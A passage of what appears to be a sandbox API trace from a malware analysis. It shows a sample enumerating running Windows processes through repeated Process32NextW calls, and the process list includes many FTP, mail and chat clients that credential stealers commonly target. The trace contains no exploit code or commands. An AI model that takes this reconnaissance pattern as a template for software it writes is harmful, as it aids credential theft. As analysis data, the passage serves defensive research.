lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.681] lstrlenW (lpString="services.exe") returned 12 [0102.681] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.682] lstrlenW (lpString="lsass.exe") returned 9 [0102.682] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.683] lstrlenW (lpString="svchost.exe") returned 11 [0102.683] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.683] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0102.683] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.684] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0102.684] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.685] lstrlenW (lpString="svchost.exe") returned 11 [0102.685] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.685] lstrlenW (lpString="dwm.exe") returned 7 [0102.686] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.686] lstrlenW (lpString="svchost.exe") returned 11 [0102.686] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.687] lstrlenW (lpString="svchost.exe") returned 11 [0102.687] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.688] lstrlenW (lpString="svchost.exe") returned 11 [0102.688] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.688] lstrlenW (lpString="svchost.exe") returned 11 [0102.688] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.689] lstrlenW (lpString="svchost.exe") returned 11 [0102.689] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.690] lstrlenW (lpString="svchost.exe") returned 11 [0102.690] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.690] lstrlenW (lpString="svchost.exe") returned 11 [0102.690] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.691] lstrlenW (lpString="svchost.exe") returned 11 [0102.691] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.692] lstrlenW (lpString="svchost.exe") returned 11 [0102.692] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.692] lstrlenW (lpString="svchost.exe") returned 11 [0102.693] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.693] lstrlenW (lpString="spoolsv.exe") returned 11 [0102.693] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.694] lstrlenW (lpString="svchost.exe") returned 11 [0102.694] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.695] lstrlenW (lpString="audiodg.exe") returned 11 [0102.695] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0102.695] lstrlenW (lpString="sihost.exe") returned 10 [0102.695] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.696] lstrlenW (lpString="svchost.exe") returned 11 [0102.696] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0102.697] lstrlenW (lpString="taskhostw.exe") returned 13 [0102.697] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0102.697] lstrlenW (lpString="explorer.exe") returned 12 [0102.697] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0103.306] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0103.306] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0103.307] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0103.307] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0103.308] lstrlenW (lpString="Memory Compression") returned 18 [0103.308] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0103.309] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0103.309] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0103.310] lstrlenW (lpString="SearchUI.exe") returned 12 [0103.310] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0103.311] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0103.311] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.311] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0103.311] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0103.312] lstrlenW (lpString="pending.exe") returned 11 [0103.312] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0103.313] lstrlenW (lpString="bug workers.exe") returned 15 [0103.313] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0103.313] lstrlenW (lpString="succeed.exe") returned 11 [0103.314] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0103.314] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0103.314] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0103.315] lstrlenW (lpString="bookings.exe") returned 12 [0103.315] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0103.316] lstrlenW (lpString="tramadol for.exe") returned 16 [0103.316] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0103.317] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0103.317] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0103.318] lstrlenW (lpString="starter detection.exe") returned 21 [0103.318] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0103.318] lstrlenW (lpString="unified aus.exe") returned 15 [0103.319] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0103.319] lstrlenW (lpString="taiwan registration.exe") returned 23 [0103.319] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0103.320] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0103.320] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0103.321] lstrlenW (lpString="headlines.exe") returned 13 [0103.321] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0103.321] lstrlenW (lpString="ash-method.exe") returned 14 [0103.321] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0103.322] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0103.322] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0103.323] lstrlenW (lpString="programmes officially.exe") returned 25 [0103.323] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0103.324] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0103.324] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0103.324] lstrlenW (lpString="george-depending.exe") returned 20 [0103.324] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0103.325] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0103.325] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0103.326] lstrlenW (lpString="repeat go.exe") returned 13 [0103.326] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0103.326] lstrlenW (lpString="showcase.exe") returned 12 [0103.326] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0103.328] lstrlenW (lpString="3dftp.exe") returned 9 [0103.328] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0103.329] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0103.329] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0103.330] lstrlenW (lpString="alftp.exe") returned 9 [0103.330] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0103.332] lstrlenW (lpString="barca.exe") returned 9 [0103.332] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0103.333] lstrlenW (lpString="bitkinex.exe") returned 12 [0103.333] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0103.334] lstrlenW (lpString="coreftp.exe") returned 11 [0103.334] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0103.335] lstrlenW (lpString="far.exe") returned 7 [0103.335] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0103.336] lstrlenW (lpString="filezilla.exe") returned 13 [0103.337] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0103.338] lstrlenW (lpString="flashfxp.exe") returned 12 [0103.338] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0103.339] lstrlenW (lpString="fling.exe") returned 9 [0103.339] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0103.341] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0103.341] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0103.342] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0103.342] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0104.028] lstrlenW (lpString="icq.exe") returned 7 [0104.029] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0104.030] lstrlenW (lpString="leechftp.exe") returned 12 [0104.030] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0104.031] lstrlenW (lpString="ncftp.exe") returned 9 [0104.031] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0104.033] lstrlenW (lpString="notepad.exe") returned 11 [0104.033] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0104.034] lstrlenW (lpString="operamail.exe") returned 13 [0104.034] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0104.035] lstrlenW (lpString="pidgin.exe") returned 10 [0104.035] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0104.036] lstrlenW (lpString="scriptftp.exe") returned 13 [0104.036] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0104.037] lstrlenW (lpString="skype.exe") returned 9 [0104.037] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, 